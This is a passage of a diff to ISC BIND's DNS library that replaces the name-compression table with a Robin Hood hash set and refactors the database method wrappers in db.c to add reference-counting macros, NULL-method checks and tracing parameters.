+	 * and the hash set must not get too full (75% load)
 	 */
-	memmove(tmp, r.base, r.length);
-	r.base = tmp;
-	dns_name_fromregion(&xname, &r);
-
-	if (count > 2U) {
-		count = 2U;
+	unsigned int prefix_len = name->offsets[label];
+	unsigned int coff = isc_buffer_usedlength(buffer) + prefix_len;
+	if (coff >= 0x4000 || cctx->count > cctx->mask * 3 / 4) {
+		return false;
 	}
-
-	while (count > 0) {
-		unsigned char ch;
-
-		dns_name_getlabelsequence(&xname, start, n, &tname);
-		/*
-		 * We calculate the table index using the first
-		 * character in the first label of tname.
-		 */
-		ch = tname.ndata[1];
-		i = tableindex[ch];
-		tlength = name_length(&tname);
-		toffset = (uint16_t)(offset + (length - tlength));
-		if (toffset >= 0x4000) {
-			break;
+	for (;;) {
+		unsigned int slot = slot_index(cctx, hash, probe);
+		/* we can stop when we find an empty slot */
+		if (cctx->set[slot].coff == 0) {
+			cctx->set[slot].hash = hash;
+			cctx->set[slot].coff = coff;
+			cctx->count++;
+			return true;
 		}
-		/*
-		 * Create a new node and add it.
-		 */
-		if (cctx->count < DNS_COMPRESS_INITIALNODES) {
-			node = &cctx->initialnodes[cctx->count];
-		} else {
-			node = isc_mem_get(cctx->mctx,
-					   sizeof(dns_compressnode_t));
-		}
-		node->count = cctx->count++;
-		/*
-		 * 'node->r.base' becomes 'tmp' when start == 0.
-		 * Record this by setting 0x8000 so it can be freed later.
-		 */
-		if (start == 0 && allocated) {
-			toffset |= 0x8000;
+		/* he steals from the rich and gives to the poor */
+		if (probe > probe_distance(cctx, slot)) {
+			probe = probe_distance(cctx, slot);
+			ISC_SWAP(cctx->set[slot].hash, hash);
+			ISC_SWAP(cctx->set[slot].coff, coff);
 		}
-		node->offset = toffset;
-		dns_name_toregion(&tname, &node->r);
-		dns_name_init(&node->name, NULL);
-		node->name.length = node->r.length;
-		node->name.ndata = node->r.base;
-		node->name.labels = tname.labels;
-		node->name.attributes = DNS_NAMEATTR_ABSOLUTE;
-		node->next = cctx->table[i];
-		cctx->table[i] = node;
-		start++;
-		n--;
-		count--;
+		probe++;
 	}
+}
 
-	if (start == 0) {
-		if (!allocated) {
-			cctx->arena_off -= length;
-		} else {
-			isc_mem_put(cctx->mctx, tmp, length);
-		}
+/*
+ * Add the unmatched prefix of the name to the hash set.
+ */
+static void
+insert(dns_compress_t *cctx, isc_buffer_t *buffer, const dns_name_t *name,
+       unsigned int label, uint16_t hash, unsigned int probe) {
+	bool sensitive = (cctx->flags & DNS_COMPRESS_CASE) != 0;
+	/*
+	 * this insertion loop continues from the search loop inside
+	 * dns_compress_name() below, iterating over the remaining labels
+	 * of the name and accumulating the hash in the same manner
+	 */
+	while (insert_label(cctx, buffer, name, label, hash, probe) &&
+	       label-- > 0)
+	{
+		unsigned int prefix_len = name->offsets[label];
+		uint8_t *suffix_ptr = name->ndata + prefix_len;
+		hash = hash_label(hash, suffix_ptr, sensitive);
+		probe = 0;
 	}
 }
 
 void
-dns_compress_rollback(dns_compress_t *cctx, uint16_t offset) {
-	unsigned int i;
-	dns_compressnode_t *node;
-
-	REQUIRE(VALID_CCTX(cctx));
+dns_compress_name(dns_compress_t *cctx, isc_buffer_t *buffer,
+		  const dns_name_t *name, unsigned int *return_prefix,
+		  unsigned int *return_coff) {
+	REQUIRE(CCTX_VALID(cctx));
+	REQUIRE(ISC_BUFFER_VALID(buffer));
+	REQUIRE(dns_name_isabsolute(name));
+	REQUIRE(name->labels > 0);
+	REQUIRE(name->offsets != NULL);
+	REQUIRE(return_prefix != NULL);
+	REQUIRE(return_coff != NULL);
+	REQUIRE(*return_coff == 0);
 
-	if (ISC_UNLIKELY((cctx->allowed & DNS_COMPRESS_ENABLED) == 0)) {
+	if ((cctx->flags & DNS_COMPRESS_DISABLED) != 0) {
 		return;
 	}
 
-	for (i = 0; i < DNS_COMPRESS_TABLESIZE; i++) {
-		node = cctx->table[i];
-		/*
-		 * This relies on nodes with greater offsets being
-		 * closer to the beginning of the list, and the
-		 * items with the greatest offsets being at the end
-		 * of the initialnodes[] array.
-		 */
-		while (node != NULL && (node->offset & 0x7fff) >= offset) {
-			cctx->table[i] = node->next;
-			if ((node->offset & 0x8000) != 0) {
-				isc_mem_put(cctx->mctx, node->r.base,
-					    node->r.length);
+	bool sensitive = (cctx->flags & DNS_COMPRESS_CASE) != 0;
+
+	uint16_t hash = HASH_INIT_DJB2;
+	unsigned int label = name->labels - 1; /* skip the root label */
+
+	/*
+	 * find out how much of the name's suffix is in the hash set,
+	 * stepping backwards from the end one label at a time
+	 */
+	while (label-- > 0) {
+		unsigned int prefix_len = name->offsets[label];
+		unsigned int suffix_len = name->length - prefix_len;
+		uint8_t *suffix_ptr = name->ndata + prefix_len;
+		hash = hash_label(hash, suffix_ptr, sensitive);
+
+		for (unsigned int probe = 0; true; probe++) {
+			unsigned int slot = slot_index(cctx, hash, probe);
+			unsigned int coff = cctx->set[slot].coff;
+
+			/*
+			 * if we would have inserted this entry here (as in
+			 * insert_label() above), our suffix cannot be in the
+			 * hash set, so stop searching and switch to inserting
+			 * the rest of the name (its prefix) into the set
+			 */
+			if (coff == 0 || probe > probe_distance(cctx, slot)) {
+				insert(cctx, buffer, name, label, hash, probe);
+				return;
 			}
-			if (node->count >= DNS_COMPRESS_INITIALNODES) {
-				isc_mem_put(cctx->mctx, node, sizeof(*node));
+
+			/*
+			 * this slot matches, so provisionally set the
+			 * return values and continue with the next label
+			 */
+			if (hash == cctx->set[slot].hash &&
+			    match_suffix(buffer, coff, suffix_ptr, suffix_len,
+					 *return_coff, sensitive))
+			{
+				*return_coff = coff;
+				*return_prefix = prefix_len;
+				break;
 			}
-			cctx->count--;
-			node = cctx->table[i];
 		}
 	}
 }
 
-/***
- ***	Decompression
- ***/
-
-void
-dns_decompress_init(dns_decompress_t *dctx, int edns,
-		    dns_decompresstype_t type) {
-	REQUIRE(dctx != NULL);
-	REQUIRE(edns >= -1 && edns <= 255);
-
-	dctx->allowed = DNS_COMPRESS_NONE;
-	dctx->edns = edns;
-	dctx->type = type;
-	dctx->magic = DCTX_MAGIC;
-}
-
 void
-dns_decompress_invalidate(dns_decompress_t *dctx) {
-	REQUIRE(VALID_DCTX(dctx));
+dns_compress_rollback(dns_compress_t *cctx, unsigned int coff) {
+	REQUIRE(CCTX_VALID(cctx));
 
-	dctx->magic = 0;
-}
-
-void
-dns_decompress_setmethods(dns_decompress_t *dctx, unsigned int allowed) {
-	REQUIRE(VALID_DCTX(dctx));
-
-	switch (dctx->type) {
-	case DNS_DECOMPRESS_ANY:
-		dctx->allowed = DNS_COMPRESS_ALL;
-		break;
-	case DNS_DECOMPRESS_NONE:
-		dctx->allowed = DNS_COMPRESS_NONE;
-		break;
-	case DNS_DECOMPRESS_STRICT:
-		dctx->allowed = allowed;
-		break;
+	for (unsigned int slot = 0; slot <= cctx->mask; slot++) {
+		if (cctx->set[slot].coff < coff) {
+			continue;
+		}
+		/*
+		 * The next few elements might be part of the deleted element's
+		 * probe sequence, so we slide them down to overwrite the entry
+		 * we are deleting and preserve the probe sequence. Moving an
+		 * element to the previous slot reduces its probe distance, so
+		 * we stop when we find an element whose probe distance is zero.
+		 */
+		unsigned int prev = slot;
+		unsigned int next = slot_index(cctx, prev, 1);
+		while (cctx->set[next].coff != 0 &&
+		       probe_distance(cctx, next) != 0)
+		{
+			cctx->set[prev] = cctx->set[next];
+			prev = next;
+			next = slot_index(cctx, prev, 1);
+		}
+		cctx->set[prev].coff = 0;
+		cctx->set[prev].hash = 0;
+		cctx->count--;
 	}
 }
-
-unsigned int
-dns_decompress_getmethods(dns_decompress_t *dctx) {
-	REQUIRE(VALID_DCTX(dctx));
-
-	return (dctx->allowed);
-}
-
-int
-dns_decompress_edns(dns_decompress_t *dctx) {
-	REQUIRE(VALID_DCTX(dctx));
-
-	return (dctx->edns);
-}
-
-dns_decompresstype_t
-dns_decompress_type(dns_decompress_t *dctx) {
-	REQUIRE(VALID_DCTX(dctx));
-
-	return (dctx->type);
-}
diff --git a/lib/dns/db.c b/lib/dns/db.c
index ec537486cb..428bc0d749 100644
--- a/lib/dns/db.c
+++ b/lib/dns/db.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,10 +21,14 @@
 #include <stdbool.h>
 
 #include <isc/buffer.h>
+#include <isc/hash.h>
 #include <isc/mem.h>
 #include <isc/once.h>
+#include <isc/result.h>
 #include <isc/rwlock.h>
 #include <isc/string.h>
+#include <isc/tid.h>
+#include <isc/urcu.h>
 #include <isc/util.h>
 
 #include <dns/callbacks.h>
@@ -34,7 +40,6 @@
 #include <dns/rdata.h>
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
-#include <dns/result.h>
 
 /***
  *** Private Types
@@ -56,7 +61,9 @@ struct dns_dbimplementation {
  * Built in database implementations are registered here.
  */
 
-#include "rbtdb.h"
+#include "rbtdb_p.h"
+
+unsigned int dns_pps = 0U;
 
 static ISC_LIST(dns_dbimplementation_t) implementations;
 static isc_rwlock_t implock;
@@ -66,10 +73,10 @@ static dns_dbimplementation_t rbtimp;
 
 static void
 initialize(void) {
-	isc_rwlock_init(&implock, 0, 0);
+	isc_rwlock_init(&implock);
 
 	rbtimp.name = "rbt";
-	rbtimp.create = dns_rbtdb_create;
+	rbtimp.create = dns__rbtdb_create;
 	rbtimp.mctx = NULL;
 	rbtimp.driverarg = NULL;
 	ISC_LINK_INIT(&rbtimp, link);
@@ -78,7 +85,7 @@ initialize(void) {
 	ISC_LIST_APPEND(implementations, &rbtimp, link);
 }
 
-static inline dns_dbimplementation_t *
+static dns_dbimplementation_t *
 impfind(const char *name) {
 	dns_dbimplementation_t *imp;
 
@@ -92,6 +99,9 @@ impfind(const char *name) {
 	return (NULL);
 }
 
+static void
+call_updatenotify(dns_db_t *db);
+
 /***
  *** Basic DB Methods
  ***/
@@ -100,9 +110,9 @@ isc_result_t
 dns_db_create(isc_mem_t *mctx, const char *db_type, const dns_name_t *origin,
 	      dns_dbtype_t type, dns_rdataclass_t rdclass, unsigned int argc,
 	      char *argv[], dns_db_t **dbp) {
-	dns_dbimplementation_t *impinfo;
+	dns_dbimplementation_t *impinfo = NULL;
 
-	RUNTIME_CHECK(isc_once_do(&once, initialize) == ISC_R_SUCCESS);
+	isc_once_do(&once, initialize);
 
 	/*
 	 * Create a new database using implementation 'db_type'.
@@ -118,6 +128,11 @@ dns_db_create(isc_mem_t *mctx, const char *db_type, const dns_name_t *origin,
 		result = ((impinfo->create)(mctx, origin, type, rdclass, argc,
 					    argv, impinfo->driverarg, dbp));
 		RWUNLOCK(&implock, isc_rwlocktype_read);
+
+#if DNS_DB_TRACE
+		fprintf(stderr, "dns_db_create:%s:%s:%d:%p->references = 1\n",
+			__func__, __FILE__, __LINE__ + 1, *dbp);
+#endif
 		return (result);
 	}
 
@@ -129,33 +144,16 @@ dns_db_create(isc_mem_t *mctx, const char *db_type, const dns_name_t *origin,
 	return (ISC_R_NOTFOUND);
 }
 
-void
-dns_db_attach(dns_db_t *source, dns_db_t **targetp) {
-	/*
-	 * Attach *targetp to source.
-	 */
-
-	REQUIRE(DNS_DB_VALID(source));
-	REQUIRE(targetp != NULL && *targetp == NULL);
-
-	(source->methods->attach)(source, targetp);
-
-	ENSURE(*targetp == source);
+static void
+dns__db_destroy(dns_db_t *db) {
+	(db->methods->destroy)(db);
 }
 
-void
-dns_db_detach(dns_db_t **dbp) {
-	/*
-	 * Detach *dbp from its database.
-	 */
-
-	REQUIRE(dbp != NULL);
-	REQUIRE(DNS_DB_VALID(*dbp));
-
-	((*dbp)->methods->detach)(dbp);
-
-	ENSURE(*dbp == NULL);
-}
+#if DNS_DB_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_db, dns__db_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_db, dns__db_destroy);
+#endif
 
 bool
 dns_db_iscache(dns_db_t *db) {
@@ -202,21 +200,6 @@ dns_db_isstub(dns_db_t *db) {
 	return (false);
 }
 
-bool
-dns_db_isdnssec(dns_db_t *db) {
-	/*
-	 * Is 'db' secure or partially secure?
-	 */
-
-	REQUIRE(DNS_DB_VALID(db));
-	REQUIRE((db->attributes & DNS_DBATTR_CACHE) == 0);
-
-	if (db->methods->isdnssec != NULL) {
-		return ((db->methods->isdnssec)(db));
-	}
-	return ((db->methods->issecure)(db));
-}
-
 bool
 dns_db_issecure(dns_db_t *db) {
 	/*
@@ -226,7 +209,10 @@ dns_db_issecure(dns_db_t *db) {
 	REQUIRE(DNS_DB_VALID(db));
 	REQUIRE((db->attributes & DNS_DBATTR_CACHE) == 0);
 
-	return ((db->methods->issecure)(db));
+	if (db->methods->issecure != NULL) {
+		return ((db->methods->issecure)(db));
+	}
+	return (false);
 }
 
 bool
@@ -237,7 +223,12 @@ dns_db_ispersistent(dns_db_t *db) {
 
 	REQUIRE(DNS_DB_VALID(db));
 
-	return ((db->methods->ispersistent)(db));
+	if (db->methods->beginload == NULL) {
+		/* If the database can't be loaded, assume it's persistent */
+		return (true);
+	}
+
+	return (false);
 }
 
 dns_name_t *
@@ -271,13 +262,14 @@ dns_db_beginload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
 	REQUIRE(DNS_DB_VALID(db));
 	REQUIRE(DNS_CALLBACK_VALID(callbacks));
 
-	return ((db->methods->beginload)(db, callbacks));
+	if (db->methods->beginload != NULL) {
+		return ((db->methods->beginload)(db, callbacks));
+	}
+	return (ISC_R_NOTIMPLEMENTED);
 }
 
 isc_result_t
 dns_db_endload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
-	dns_dbonupdatelistener_t *listener;
-
 	/*
 	 * Finish loading 'db'.
 	 */
@@ -286,13 +278,18 @@ dns_db_endload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
 	REQUIRE(DNS_CALLBACK_VALID(callbacks));
 	REQUIRE(callbacks->add_private != NULL);
 
-	for (listener = ISC_LIST_HEAD(db->update_listeners); listener != NULL;
-	     listener = ISC_LIST_NEXT(listener, link))
-	{
-		listener->onupdate(db, listener->onupdate_arg);
+	/*
+	 * When dns_db_endload() is called, we call the onupdate function
+	 * for all registered listeners, regardless of whether the underlying
+	 * database has an 'endload' implementation.
+	 */
+	call_updatenotify(db);
+
+	if (db->methods->endload != NULL) {
+		return ((db->methods->endload)(db, callbacks));
 	}
 
-	return ((db->methods->endload)(db, callbacks));
+	return (ISC_R_NOTIMPLEMENTED);
 }
 
 isc_result_t
@@ -334,21 +331,6 @@ dns_db_load(dns_db_t *db, const char *filename, dns_masterformat_t format,
 	return (result);
 }
 
-isc_result_t
-dns_db_serialize(dns_db_t *db, dns_dbversion_t *version, FILE *file) {
-	REQUIRE(DNS_DB_VALID(db));
-	if (db->methods->serialize == NULL) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-	return ((db->methods->serialize)(db, version, file));
-}
-
-isc_result_t
-dns_db_dump(dns_db_t *db, dns_dbversion_t *version, const char *filename) {
-	return ((db->methods->dump)(db, version, filename,
-				    dns_masterformat_text));
-}
-
 /***
  *** Version Methods
  ***/
@@ -376,7 +358,10 @@ dns_db_newversion(dns_db_t *db, dns_dbversion_t **versionp) {
 	REQUIRE((db->attributes & DNS_DBATTR_CACHE) == 0);
 	REQUIRE(versionp != NULL && *versionp == NULL);
 
-	return ((db->methods->newversion)(db, versionp));
+	if (db->methods->newversion != NULL) {
+		return ((db->methods->newversion)(db, versionp));
+	}
+	return (ISC_R_NOTIMPLEMENTED);
 }
 
 void
@@ -397,9 +382,8 @@ dns_db_attachversion(dns_db_t *db, dns_dbversion_t *source,
 }
 
 void
-dns_db_closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit) {
-	dns_dbonupdatelistener_t *listener;
-
+dns__db_closeversion(dns_db_t *db, dns_dbversion_t **versionp,
+		     bool commit DNS__DB_FLARG) {
 	/*
 	 * Close version '*versionp'.
 	 */
@@ -408,14 +392,10 @@ dns_db_closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit) {
 	REQUIRE((db->attributes & DNS_DBATTR_CACHE) == 0);
 	REQUIRE(versionp != NULL && *versionp != NULL);
 
-	(db->methods->closeversion)(db, versionp, commit);
+	(db->methods->closeversion)(db, versionp, commit DNS__DB_FLARG_PASS);
 
 	if (commit) {
-		for (listener = ISC_LIST_HEAD(db->update_listeners);
-		     listener != NULL; listener = ISC_LIST_NEXT(listener, link))
-		{
-			listener->onupdate(db, listener->onupdate_arg);
-		}
+		call_updatenotify(db);
 	}
 
 	ENSURE(*versionp == NULL);
@@ -426,8 +406,8 @@ dns_db_closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit) {
  ***/
 
 isc_result_t
-dns_db_findnode(dns_db_t *db, const dns_name_t *name, bool create,
-		dns_dbnode_t **nodep) {
+dns__db_findnode(dns_db_t *db, const dns_name_t *name, bool create,
+		 dns_dbnode_t **nodep DNS__DB_FLARG) {
 	/*
 	 * Find the node with name 'name'.
 	 */
@@ -436,17 +416,19 @@ dns_db_findnode(dns_db_t *db, const dns_name_t *name, bool create,
 	REQUIRE(nodep != NULL && *nodep == NULL);
 
 	if (db->methods->findnode != NULL) {
-		return ((db->methods->findnode)(db, name, create, nodep));
+		return ((db->methods->findnode)(db, name, create,
+						nodep DNS__DB_FLARG_PASS));
 	} else {
 		return ((db->methods->findnodeext)(db, name, create, NULL, NULL,
-						   nodep));
+						   nodep DNS__DB_FLARG_PASS));
 	}
 }
 
 isc_result_t
-dns_db_findnodeext(dns_db_t *db, const dns_name_t *name, bool create,
-		   dns_clientinfomethods_t *methods,
-		   dns_clientinfo_t *clientinfo, dns_dbnode_t **nodep) {
+dns__db_findnodeext(dns_db_t *db, const dns_name_t *name, bool create,
+		    dns_clientinfomethods_t *methods,
+		    dns_clientinfo_t *clientinfo,
+		    dns_dbnode_t **nodep DNS__DB_FLARG) {
 	/*
 	 * Find the node with name 'name', passing 'arg' to the database
 	 * implementation.
@@ -457,15 +439,17 @@ dns_db_findnodeext(dns_db_t *db, const dns_name_t *name, bool create,
 
 	if (db->methods->findnodeext != NULL) {
 		return ((db->methods->findnodeext)(db, name, create, methods,
-						   clientinfo, nodep));
+						   clientinfo,
+						   nodep DNS__DB_FLARG_PASS));
 	} else {
-		return ((db->methods->findnode)(db, name, create, nodep));
+		return ((db->methods->findnode)(db, name, create,
+						nodep DNS__DB_FLARG_PASS));
 	}
 }
 
 isc_result_t
-dns_db_findnsec3node(dns_db_t *db, const dns_name_t *name, bool create,
-		     dns_dbnode_t **nodep) {
+dns__db_findnsec3node(dns_db_t *db, const dns_name_t *name, bool create,
+		      dns_dbnode_t **nodep DNS__DB_FLARG) {
 	/*
 	 * Find the node with name 'name'.
 	 */
@@ -473,14 +457,16 @@ dns_db_findnsec3node(dns_db_t *db, const dns_name_t *name, bool create,
 	REQUIRE(DNS_DB_VALID(db));
 	REQUIRE(nodep != NULL && *nodep == NULL);
 
-	return ((db->methods->findnsec3node)(db, name, create, nodep));
+	return ((db->methods->findnsec3node)(db, name, create,
+					     nodep DNS__DB_FLARG_PASS));
 }
 
 isc_result_t
-dns_db_find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
-	    dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
-	    dns_dbnode_t **nodep, dns_name_t *foundname,
-	    dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
+dns__db_find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
+	     dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
+	     dns_dbnode_t **nodep, dns_name_t *foundname,
+	     dns_rdataset_t *rdataset,
+	     dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
 	/*
 	 * Find the best match for 'name' and 'type' in version 'version'
 	 * of 'db'.
@@ -499,20 +485,21 @@ dns_db_find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 	if (db->methods->find != NULL) {
 		return ((db->methods->find)(db, name, version, type, options,
 					    now, nodep, foundname, rdataset,
-					    sigrdataset));
+					    sigrdataset DNS__DB_FLARG_PASS));
 	} else {
-		return ((db->methods->findext)(db, name, version, type, options,
-					       now, nodep, foundname, NULL,
-					       NULL, rdataset, sigrdataset));
+		return ((db->methods->findext)(
+			db, name, version, type, options, now, nodep, foundname,
+			NULL, NULL, rdataset, sigrdataset DNS__DB_FLARG_PASS));
 	}
 }
 
 isc_result_t
-dns_db_findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
-	       dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
-	       dns_dbnode_t **nodep, dns_name_t *foundname,
-	       dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo,
-	       dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
+dns__db_findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
+		dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
+		dns_dbnode_t **nodep, dns_name_t *foundname,
+		dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo,
+		dns_rdataset_t *rdataset,
+		dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
 	/*
 	 * Find the best match for 'name' and 'type' in version 'version'
 	 * of 'db', passing in 'arg'.
@@ -529,21 +516,23 @@ dns_db_findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 		 !dns_rdataset_isassociated(sigrdataset)));
 
 	if (db->methods->findext != NULL) {
-		return ((db->methods->findext)(
-			db, name, version, type, options, now, nodep, foundname,
-			methods, clientinfo, rdataset, sigrdataset));
+		return ((db->methods->findext)(db, name, version, type, options,
+					       now, nodep, foundname, methods,
+					       clientinfo, rdataset,
+					       sigrdataset DNS__DB_FLARG_PASS));
 	} else {
 		return ((db->methods->find)(db, name, version, type, options,
 					    now, nodep, foundname, rdataset,
-					    sigrdataset));
+					    sigrdataset DNS__DB_FLARG_PASS));
 	}
 }
 
 isc_result_t
-dns_db_findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
-		   isc_stdtime_t now, dns_dbnode_t **nodep,
-		   dns_name_t *foundname, dns_name_t *dcname,
-		   dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
+dns__db_findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
+		    isc_stdtime_t now, dns_dbnode_t **nodep,
+		    dns_name_t *foundname, dns_name_t *dcname,
+		    dns_rdataset_t *rdataset,
+		    dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
 	/*
 	 * Find the deepest known zonecut which encloses 'name' in 'db'.
 	 * foundname is the zonecut, dcname is the deepest name we have
@@ -558,13 +547,17 @@ dns_db_findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
 		(DNS_RDATASET_VALID(sigrdataset) &&
 		 !dns_rdataset_isassociated(sigrdataset)));
 
-	return ((db->methods->findzonecut)(db, name, options, now, nodep,
-					   foundname, dcname, rdataset,
-					   sigrdataset));
+	if (db->methods->findzonecut != NULL) {
+		return ((db->methods->findzonecut)(
+			db, name, options, now, nodep, foundname, dcname,
+			rdataset, sigrdataset DNS__DB_FLARG_PASS));
+	}
+	return (ISC_R_NOTIMPLEMENTED);
 }
 
 void
-dns_db_attachnode(dns_db_t *db, dns_dbnode_t *source, dns_dbnode_t **targetp) {
+dns__db_attachnode(dns_db_t *db, dns_dbnode_t *source,
+		   dns_dbnode_t **targetp DNS__DB_FLARG) {
 	/*
 	 * Attach *targetp to source.
 	 */
@@ -573,11 +566,11 @@ dns_db_attachnode(dns_db_t *db, dns_dbnode_t *source, dns_dbnode_t **targetp) {
 	REQUIRE(source != NULL);
 	REQUIRE(targetp != NULL && *targetp == NULL);
 
-	(db->methods->attachnode)(db, source, targetp);
+	(db->methods->attachnode)(db, source, targetp DNS__DB_FLARG_PASS);
 }
 
 void
-dns_db_detachnode(dns_db_t *db, dns_dbnode_t **nodep) {
+dns__db_detachnode(dns_db_t *db, dns_dbnode_t **nodep DNS__DB_FLARG) {
 	/*
 	 * Detach *nodep from its node.
 	 */
@@ -585,7 +578,7 @@ dns_db_detachnode(dns_db_t *db, dns_dbnode_t **nodep) {
 	REQUIRE(DNS_DB_VALID(db));
 	REQUIRE(nodep != NULL && *nodep != NULL);
 
-	(db->methods->detachnode)(db, nodep);
+	(db->methods->detachnode)(db, nodep DNS__DB_FLARG_PASS);
 
 	ENSURE(*nodep == NULL);
 }
@@ -595,49 +588,10 @@ dns_db_transfernode(dns_db_t *db, dns_dbnode_t **sourcep,
 		    dns_dbnode_t **targetp) {
 	REQUIRE(DNS_DB_VALID(db));
 	REQUIRE(targetp != NULL && *targetp == NULL);
-	/*
-	 * This doesn't check the implementation magic.  If we find that
-	 * we need such checks in future then this will be done in the
-	 * method.
-	 */
 	REQUIRE(sourcep != NULL && *sourcep != NULL);
 
-	UNUSED(db);
-
-	if (db->methods->transfernode == NULL) {
-		*targetp = *sourcep;
-		*sourcep = NULL;
-	} else {
-		(db->methods->transfernode)(db, sourcep, targetp);
-	}
-
-	ENSURE(*sourcep == NULL);
-}
-
-isc_result_t
-dns_db_expirenode(dns_db_t *db, dns_dbnode_t *node, isc_stdtime_t now) {
-	/*
-	 * Mark as stale all records at 'node' which expire at or before 'now'.
-	 */
-
-	REQUIRE(DNS_DB_VALID(db));
-	REQUIRE((db->attributes & DNS_DBATTR_CACHE) != 0);
-	REQUIRE(node != NULL);
-
-	return ((db->methods->expirenode)(db, node, now));
-}
-
-void
-dns_db_printnode(dns_db_t *db, dns_dbnode_t *node, FILE *out) {
-	/*
-	 * Print a textual representation of the contents of the node to
-	 * 'out'.
-	 */
-
-	REQUIRE(DNS_DB_VALID(db));
-	REQUIRE(node != NULL);
-
-	(db->methods->printnode)(db, node, out);
+	*targetp = *sourcep;
+	*sourcep = NULL;
 }
 
 /***
@@ -654,7 +608,10 @@ dns_db_createiterator(dns_db_t *db, unsigned int flags,
 	REQUIRE(DNS_DB_VALID(db));
 	REQUIRE(iteratorp != NULL && *iteratorp == NULL);
 
-	return (db->methods->createiterator(db, flags, iteratorp));
+	if (db->methods->createiterator != NULL) {
+		return (db->methods->createiterator(db, flags, iteratorp));
+	}
+	return (ISC_R_NOTIMPLEMENTED);
 }
 
 /***
@@ -662,10 +619,10 @@ dns_db_createiterator(dns_db_t *db, unsigned int flags,
  ***/
 
 isc_result_t
-dns_db_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-		    dns_rdatatype_t type, dns_rdatatype_t covers,
-		    isc_stdtime_t now, dns_rdataset_t *rdataset,
-		    dns_rdataset_t *sigrdataset) {
+dns__db_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+		     dns_rdatatype_t type, dns_rdatatype_t covers,
+		     isc_stdtime_t now, dns_rdataset_t *rdataset,
+		     dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
 	REQUIRE(DNS_DB_VALID(db));
 	REQUIRE(node != NULL);
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
@@ -677,12 +634,14 @@ dns_db_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 		 !dns_rdataset_isassociated(sigrdataset)));
 
 	return ((db->methods->findrdataset)(db, node, version, type, covers,
-					    now, rdataset, sigrdataset));
+					    now, rdataset,
+					    sigrdataset DNS__DB_FLARG_PASS));
 }
 
 isc_result_t
-dns_db_allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-		    isc_stdtime_t now, dns_rdatasetiter_t **iteratorp) {
+dns__db_allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+		     unsigned int options, isc_stdtime_t now,
+		     dns_rdatasetiter_t **iteratorp DNS__DB_FLARG) {
 	/*
 	 * Make '*iteratorp' an rdataset iteratator for all rdatasets at
 	 * 'node' in version 'version' of 'db'.
@@ -691,13 +650,15 @@ dns_db_allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	REQUIRE(DNS_DB_VALID(db));
 	REQUIRE(iteratorp != NULL && *iteratorp == NULL);
 
-	return ((db->methods->allrdatasets)(db, node, version, now, iteratorp));
+	return ((db->methods->allrdatasets)(db, node, version, options, now,
+					    iteratorp DNS__DB_FLARG_PASS));
 }
 
 isc_result_t
-dns_db_addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-		   isc_stdtime_t now, dns_rdataset_t *rdataset,
-		   unsigned int options, dns_rdataset_t *addedrdataset) {
+dns__db_addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+		    isc_stdtime_t now, dns_rdataset_t *rdataset,
+		    unsigned int options,
+		    dns_rdataset_t *addedrdataset DNS__DB_FLARG) {
 	/*
 	 * Add 'rdataset' to 'node' in version 'version' of 'db'.
 	 */
@@ -716,14 +677,19 @@ dns_db_addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 		(DNS_RDATASET_VALID(addedrdataset) &&
 		 !dns_rdataset_isassociated(addedrdataset)));
 
-	return ((db->methods->addrdataset)(db, node, version, now, rdataset,
-					   options, addedrdataset));
+	if (db->methods->addrdataset != NULL) {
+		return ((db->methods->addrdataset)(
+			db, node, version, now, rdataset, options,
+			addedrdataset DNS__DB_FLARG_PASS));
+	}
+	return (ISC_R_NOTIMPLEMENTED);
 }
 
 isc_result_t
-dns_db_subtractrdataset(dns_db_t *db, dns_dbnode_t *node,
-			dns_dbversion_t *version, dns_rdataset_t *rdataset,
